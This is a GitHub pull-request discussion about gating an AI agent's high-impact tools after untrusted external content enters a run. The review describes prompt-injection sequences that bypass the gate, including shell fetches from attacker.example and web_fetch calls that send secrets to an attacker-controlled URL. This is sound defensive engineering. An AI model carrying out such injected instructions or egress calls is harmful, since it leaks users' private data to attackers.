fix(agent): gate tools after external context

[RaresKeY]

Summary

Add a server-owned capability registry for agent tools and carry run-local external-context state through the agent loop and dispatcher. After a successful external result enters the run, high-impact and unknown tools are blocked before execution, including same-batch calls and calls requested on later model rounds.

This makes model output an action request rather than an authorization decision. The slice does not add process sandboxing, approval UI, or persistent thread provenance; those remain separate follow-up layers.

Stack

This is the first of four focused agent-security slices in #5815 and is based directly on current dev. The issue-specific commit is e6323b18394a5d31d22b6a1ec9ed1a9717de7f79.

Target branch

• This PR targets dev, not main. All PRs land in dev; main is curated by the maintainer at each release.

Linked Issue

Part of #6090

Part of #5815

Part of #3709

Related: #2605 and #4754

Type of Change

• Bug fix (non-breaking — fixes a confirmed issue)
• New feature (non-breaking — adds new behaviour)
• Breaking change (changes or removes existing behaviour)
• Refactor / cleanup (behaviour unchanged)
• Documentation only
• CI / tooling / configuration

Checklist

• I searched open issues and open PRs; the prior feat(security): opt-in gate blocking high-impact tools on untrusted context #3710 implementation is closed, and no open PR covers same-batch/later-round enforcement through a deterministic capability registry.
• This PR targets dev.
• My changes are limited to tool capability classification, run-local external-context state, execution backstops, and focused regression coverage.
• I actually ran the app end-to-end. Focused automated validation passes; a live provider/model run was not performed.

How to Test

1. Run:

   python -m pytest -q tests/test_external_context_tool_gate.py

   Expected result: 21 tests pass.

2. Exercise the fake weak-model sequence that returns a successful web_search result and then requests Bash on the next model round. Verify Bash is blocked before its implementation runs.

3. Exercise the same sequence with web_search and Bash requested in one batch. Verify the search result taints the batch and the later Bash call is blocked.

4. Verify a failed external result does not taint the run and explicitly low-impact interaction/public-read tools remain available.

5. Verify unknown MCP tools fail closed after external context.

Current rebased-head validation passes 21 focused tests and git diff --check.

At publication time, hosted pytest stops during collection on the current-dev MCP 2.0 dependency break tracked in #5816. Draft #5820 passes the same job with the v1 compatibility boundary; the failure occurs before this PR's branch-specific tests run.

A live provider/model run and independent latest-head security review remain outstanding, so this PR is opening as a draft.

Visual / UI changes — REQUIRED if you touched anything that renders

N/A — backend capability policy and tests only; no rendering changed.

• Screenshot or short clip — N/A; no visual change.
• Style match — N/A; no visual change.
• No new component patterns — N/A; no visual change.
• I am not an LLM agent submitting a bulk PR. This is a focused, user-directed security slice, not automated or mass submission.

Screenshots / clips

N/A — no visual rendering change.

[StressTestor]

the control is the right shape and i want it in the tree. server-owned classification instead of model-declared intent, deny-by-default for unknown tools (capabilities_for_tool returning _UNKNOWN_CAPABILITIES at src/tool_capabilities.py:236-250), and two enforcement points rather than one (schema filtering at src/agent_loop.py:3957-3964, dispatcher backstop at src/tool_execution.py:587-598) is exactly how i would build it. the same-batch case works and is tested, which is the part most implementations get wrong.

i do not think it should merge as is. three of the taint/effect classification choices leave the two most common injection paths completely outside the gate, and one of them is locked in by a test, so it reads as intentional rather than missed.

blocking

1. bash never taints the run, so shell-based fetch bypasses the gate entirely

src/tool_capabilities.py:112-115 registers bash/python/manage_bg_jobs with ToolEffect.EXECUTE_CODE and no result_integrity override, so they inherit ResultIntegrity.SYSTEM. observe_tool_result only arms the flag on an exact is ResultIntegrity.EXTERNAL_UNTRUSTED match (src/tool_capabilities.py:333).

sequence: agent runs bash: curl https://attacker.example/page. output is treated as system-integrity, external_untrusted_context_seen stays False. next round the model follows the injected instructions with write_file, send_email, another bash, whatever. decision_for short-circuits to allowed at src/tool_capabilities.py:309 before capabilities are even inspected. the control never engages.

for any agent with shell access this is the default fetch path. bash and python output should be EXTERNAL_UNTRUSTED unless you can prove otherwise, which for arbitrary shell you cannot. i checked subprocess execution for network isolation and there is none, so there is no sandbox argument to fall back on here.

2. WORKSPACE_UNTRUSTED is declared and never read

src/tool_capabilities.py:85-89 registers read_file/grep/ls/glob/get_workspace as ResultIntegrity.WORKSPACE_UNTRUSTED. that enum member appears nowhere else in the diff. observe_tool_result checks only for EXTERNAL_UNTRUSTED, so WORKSPACE_UNTRUSTED is functionally identical to SYSTEM today.

sequence: a poisoned file is already in the workspace (uploaded via the existing uploaded_files param, a cloned repo README, an artifact a previous run wrote). agent calls read_file, no taint. agent calls bash on the injected instruction, allowed. the PR description names "reads an untrusted document" as an in-scope scenario and that scenario does not arm the gate.

either fold WORKSPACE_UNTRUSTED into the same check, or if it is meant to be a genuinely weaker tier, say so and add a test asserting a poisoned workspace read does not gate bash, so the limitation is documented rather than silent. right now a reviewer reading test_external_context_keeps_explicit_low_impact_tools_available (tests/test_external_context_tool_gate.py:124-131) sees read_file in the list and could reasonably conclude the read path was considered. no test in the file uses a WORKSPACE_UNTRUSTED tool as a taint source; every taint-seeding test uses web_search or browser MCP.

3. web_fetch stays available post-taint, which leaves the exfiltration primitive open

src/tool_capabilities.py:90-94 classifies web_fetch/web_search as BROKERED_NETWORK_READ, and src/tool_capabilities.py:253-265 omits both BROKERED_NETWORK_READ and READ_WORKSPACE from POST_EXTERNAL_BLOCKED_EFFECTS. tests/test_external_context_tool_gate.py:124-131 asserts this, so it is a deliberate choice.

sequence: read_email succeeds and taints the run (correctly, it is READ_PRIVATE + EXTERNAL_UNTRUSTED at src/tool_capabilities.py:95-111). injected content in that email tells the model to call web_fetch("https://attacker.example/collect?d=<secret>"). decision_for returns allowed at both enforcement points. the request goes out, the attacker's access log has the data. read_file is likewise still available to source the secret in the first place.

the classification treats web_fetch as a read because of what it returns. the URL argument is model-controlled and is itself an egress channel. nothing in this diff constrains the destination. blocking send_email and write_file while leaving a GET with attacker-chosen query string open does not close the exfiltration case, which is the most common indirect-injection outcome. either put BROKERED_NETWORK_READ in the blocked set, or gate web_fetch post-taint on a destination allowlist and leave web_search alone.

worth considering

cross-turn taint is not re-derived, and the detector implies it is. run_security is constructed fresh per stream_agent_loop call (src/agent_loop.py:3123-3128). the only cross-invocation memory is messages_contain_external_untrusted_context (src/tool_capabilities.py:285-298), gated on a five-string allowlist (src/tool_capabilities.py:274-282) that covers web/research prefaces only. it does not cover email, browser MCP, attachments, chat_with_model/ask_teacher, or unknown MCP results, all of which this same file classifies EXTERNAL_UNTRUSTED. it also does not match what the loop's own tool-result folding produces: the native path appends a bare role: "tool" message with no metadata key at all, and the non-native path wraps with source "tool execution results", which is not in the allowlist. provenance_origin has no writer anywhere in the repo, so that branch is dead. the new kwarg external_untrusted_context_seen has no caller passing it.

i understand persistent thread provenance is called out as a follow-up layer, and i am not asking for it in this PR. the issue is that the detector exists, runs unconditionally, and silently no-ops against the one artifact it would most need to catch, which reads as coverage that is not there. two-turn injection (fetch in turn one, act in turn two) is unmitigated. test_prefetched_external_message_initializes_taint (tests/test_external_context_tool_gate.py:159) hand-builds metadata matching the detector's own expectations, so drift here will not be caught.

search_hf_models is a taint source: src/tool_capabilities.py:73-84 registers it READ_PUBLIC with default SYSTEM integrity. model card text on the hub is third-party writable and as adversary-influenceable as a web page. same treatment as web_search.

the dispatcher backstop is opt-in and fails open when omitted. security_context defaults to None at src/tool_execution.py:579, and None means no gate, no log, no error (src/tool_execution.py:587). this diff wires one caller. any other path into execute_tool_block (retries, batched execution, teacher runs, anything added later) gets zero enforcement and nothing fails. the loop-level check at src/agent_loop.py:4644 covers the main path, so this is defense-in-depth rather than the primary control, but a security parameter whose absence means "off" will drift. make it required, or raise when it is None. a test that asserts every call site passes it would pair well with the existing test_all_fence_tools_have_explicit_capabilities coverage.

false positives are unaddressed: the flag is monotonic for the run and there is no re-authorization path anywhere in the diff, so "search, then write a summary file" or "search, then send the follow-up" is dead for the rest of the turn. the block message says the tool "requires a separate user-authorized action", but that mechanism does not exist here. all thirteen tests exercise the blocking path, none exercise the benign one. i am not asking you to build re-authorization in this PR, but the UX cost of the coarse run-level taint should be acknowledged somewhere, because it will generate reports.

things i checked that are fine

• unknown and malformed tool names fail closed through _UNKNOWN_CAPABILITIES, including unregistered MCP tools. the mcp__email__ unwrapping is guarded by BUILTIN_EMAIL_TOOLS membership so it cannot be used to alias a name into a lower-impact classification.
• the _register duplicate check raising at src/tool_capabilities.py:64 is the right call, and the two schema-coverage tests mean a new tool cannot land unclassified.
• failed results not tainting the run (observe_tool_result at src/tool_capabilities.py:328) is correct. an errored fetch does not put content in context.
• create_session/send_to_session/manage_session not being taint sources: not a problem. they are WRITE_PRIVATE and therefore blocked post-taint, and the paths that actually return other-model output (chat_with_model, ask_teacher) are correctly EXTERNAL_UNTRUSTED.
• same-batch blocking really does hold. it depends on blocks being executed sequentially with observe_tool_result called between them (src/agent_loop.py:4723), which is a property of the current loop rather than something ToolRunSecurityContext enforces, but it is true today and tested at tests/test_external_context_tool_gate.py:251.
• the native schema filter routes through the same decision_for, so the two enforcement points cannot disagree.

happy to look again once bash/workspace taint and the BROKERED_NETWORK_READ question are settled. the first two are mechanical. the third is a design call and i would rather hear your reasoning than have you just take my answer.

[RaresKeY]

@StressTestor Thanks for the thorough review. I followed each path through the later issue-specific commits rather than relying on the cumulative PR descriptions.

My conclusion: all three blocking findings are valid at the current #5817 head. Later stack slices address many of them, but #5817 should not merge independently on the assumption that the rest of the stack makes it safe.

Addressed later in the stack

• Shell/Python/background execution: fix(agent): sandbox process execution #5818 routes foreground Bash, Python, tmux and detached jobs through a networkless bubblewrap sandbox with a cleared environment and fail-closed setup. feat(agent): persist provenance and gate sensitive egress #5821 then classifies bash, python, and manage_bg_jobs results as workspace-untrusted, so poisoned process output arms the gate. This applies to Sandbox/Ask; Full Access deliberately bypasses this boundary.

• WORKSPACE_UNTRUSTED: feat(agent): persist provenance and gate sensitive egress #5821 makes workspace, Odysseus and external result integrity observable, with separate sensitivity tracking. read_file, grep, ls, glob and process output now accumulate workspace provenance.

• Cross-turn provenance: feat(agent): persist provenance and gate sensitive egress #5821 persists monotonic external/workspace/Odysseus/private state across turns, reloads, model changes and forks, and explicitly carries it through teacher escalation. It also rechecks provenance after prompt construction so uploads, active email, skills and MCP context are normally included.

• Reauthorization: feat(agent): add exact approvals and run modes #5819 adds opaque, exact, one-use approvals bound to owner, session, tool, complete input, workspace, mode and effects. feat(agent): persist provenance and gate sensitive egress #5821 extends the binding to the full provenance snapshot and classifies multiplexed tools such as manage_memory, manage_documents, manage_notes, manage_research and manage_skills by their exact action.

Partially addressed

• web_fetch exfiltration: feat(agent): persist provenance and gate sensitive egress #5821 fixes the reported read_email/read_file case: once private or workspace data is present, BROKERED_NETWORK_READ requires exact approval.

  The underlying primitive is still open, though. web_fetch remains an arbitrary model-selected public URL and external-only provenance does not gate it. Ordinary user-message content is not marked private, so injected web content can still induce a GET containing data from the conversation. I consider this a remaining blocker: web_fetch needs an explicit model-controlled egress classification or must require approval after any external influence, not only tracked workspace/private reads.

• Background continuation: launching Bash now persists workspace provenance, so the later continuation normally starts tainted. However, bg_monitor.py still injects raw stdout as an ordinary user message. Legacy jobs or persistence failure would lose that protection. The result itself should be explicitly wrapped and labelled.

• False positives: exact approvals provide a real continuation path, but provenance remains monotonic. After the first workspace/shell read, Sandbox can become approval-per-action indefinitely. That is secure but coarse; there is still no scoped grant or declassification mechanism.

Still unaddressed

• search_hf_models: it remains READ_PUBLIC with SYSTEM integrity. The current implementation does not return model-card body text, so that part of the rationale is narrower than stated, but it does return creator-controlled repository IDs and tags and should still be external-untrusted.

• Dispatcher fail-open: security_context and run_policy remain optional. The current production agent caller supplies them, but a new direct caller silently disables authorization. These should be required, or bypass should require an explicit audited sentinel.

Additional gaps found while checking the later stack

• _minimal_odysseus_doc_messages() discards the labelled active-document wrapper and reconstructs the document as a bare user message before the final provenance scan. First-use active-document content can therefore remain untainted.

• The sessionless skill-test routes place user-editable skill Markdown directly into a system message and invoke the agent without provenance. A malicious skill starts trusted and can use baseline Sandbox writes.

• fix(agent): sandbox process execution #5818’s credential protection is scan/denylist based. Broad selected workspaces such as a user home can expose unlisted credential locations or allow creation of sensitive paths that did not exist during the scan. Home/profile/credential roots should be rejected rather than handled with best-effort overlays.

• The provenance database migration is SQLite-specific; existing external databases need a real schema migration.

So the later stack substantially validates the intended architecture and fixes the first two mechanical classification failures, persistence and reauthorization. It does not yet close the external-only web_fetch path, every provenance entry point, HF classification or the dispatcher’s optional security boundary.

[StressTestor]

the prefetch fix is right, and it closes the dead provenance_origin branch i flagged. blockers 1-3 are unchanged at 99e84a5, which matches your 8/5 reply, so nothing to relitigate there.

one thing on the new detector. provenance_origin="external" is set at 1 of the 19 untrusted_context_message call sites, and counting label matches too, 6 of 19 arm the gate. the two that matter:

site	label	why it misses
src/deep_research.py:639	"webpage"	differs from the new "web page:" prefix by a space and a colon
src/agent_loop.py:2835	"tool execution results"	the tool-result folding path

"email writing style" (agent_loop.py:2389), "integrations" (2535) and "MCP tools" (2544) are unarmed too. those are exactly the three surfaces tests/test_prompt_injection_audit.py exists to cover, wrapped after they were found concatenated into the system role, and its own docstring calls MCP descriptions externally sourced.

deep_research is the one i'd look at first. same content class as the prefetch fix, fetched web page text, and the label misses the prefix by a space and a colon. that's the failure mode of an allowlist that has to track 19 call sites by hand.

worth inverting: a function named untrusted_context_message could arm the gate by default, with an explicit opt-out for callers that genuinely carry no third-party content. on the injection audit's own evidence that set is smaller than the current allowlist assumes. fail-closed, and the sync problem goes away. a test asserting every call site is either armed or explicitly opted out would pin it, same shape as test_all_fence_tools_have_explicit_capabilities. test_prompt_injection_audit.py is the natural home for that assertion.

[StressTestor]

re-checked at 2e34f94. two of the three are closed.

bash taints now. bash/manage_bg_jobs/python carry result_integrity=WORKSPACE_UNTRUSTED (:113-115) and observe_tool_result arms on is not ResultIntegrity.SYSTEM (:347), so shell output reaches the gate. that closes the workspace-read gap in the same move, since something now reads WORKSPACE_UNTRUSTED instead of leaving it declared and unused.

arm_tool_gate defaulting to True is a better answer than the one i suggested. all 24 non-test untrusted_context_message call sites arm by default with an explicit opt-out, so coverage stopped being a list anyone has to keep in sync. it also closes something neither of us had written up: teacher takeover used to build a fresh ToolRunSecurityContext with no taint, and the folded tool-result message now carries tool_gate_untrusted through teacher_messages, so the constructor re-derives it. i checked that by folding a tool result through untrusted_context_message, running it past teacher_escalation's role != "system" filter into teacher_messages, and calling messages_contain_external_untrusted_context on the result: it comes back true, so the fresh context arms.

the third is where you left it on 8/5. web_fetch/web_search are still BROKERED_NETWORK_READ (:91-93), and that effect isn't in POST_EXTERNAL_BLOCKED_EFFECTS (:254-266). so post-taint the model can still be steered into web_fetch("https://attacker.example/collect?d=...") while write_file and send_email are blocked.

one argument against the obvious fix, since it might be why you haven't taken it: adding BROKERED_NETWORK_READ to the blocked set wholesale would also catch _BROWSER_MCP_READ_TOOLS (:227), and browser_console_messages, browser_network_requests, browser_snapshot and browser_take_screenshot are passive reads of an already-loaded page with no model-chosen destination. browser_navigate isn't classified at all, so it already fails closed through _UNKNOWN_CAPABILITIES.

so the split you described reads right to me. the distinguishing property is a model-controlled destination rather than "touches the network". web_fetch has it, browser_snapshot doesn't.

everything else here is green from where i sit. happy to look again once that last one lands.

[StressTestor]

re-checked at d401e80. all three closed.

web_fetch now carries NETWORK_EGRESS (tool_capabilities.py:105-110), which POST_EXTERNAL_BLOCKED_EFFECTS catches; web_search and the browser reads stay BROKERED_NETWORK_READ only. shell arming survived the rebase (:129-131, :527).

evidence: test_external_context_tool_gate.py, test_tool_approvals.py and test_teacher_eval_tier2.py pass at head locally (170). removing NETWORK_EGRESS from the web_fetch registration fails test_external_context_blocks_model_controlled_web_fetch_egress and test_search_then_model_controlled_fetch_same_batch_is_blocked.

i read the gate path, not the approval-lifecycle commits pulled forward from #5819/#5821. lgtm on the three findings.

[github-actions]

⚠️ PR description is complete; validation evidence is still outstanding

Changed-file classification: UI-sensitive.

Author-reported runtime / visual state

• App/runtime validation is not author-attested. Check the run box only after running it, or check the explicit not-run box and describe the gap.
• The screenshot/clip checkbox is not checked for this UI-sensitive change.
• The Screenshots / clips section does not contain an actual attachment or link.

Checkboxes are author attestations. GitHub Actions results remain the execution evidence for CI; this check does not prove that a local command ran.

---

This comment updates automatically when the description or changed files change.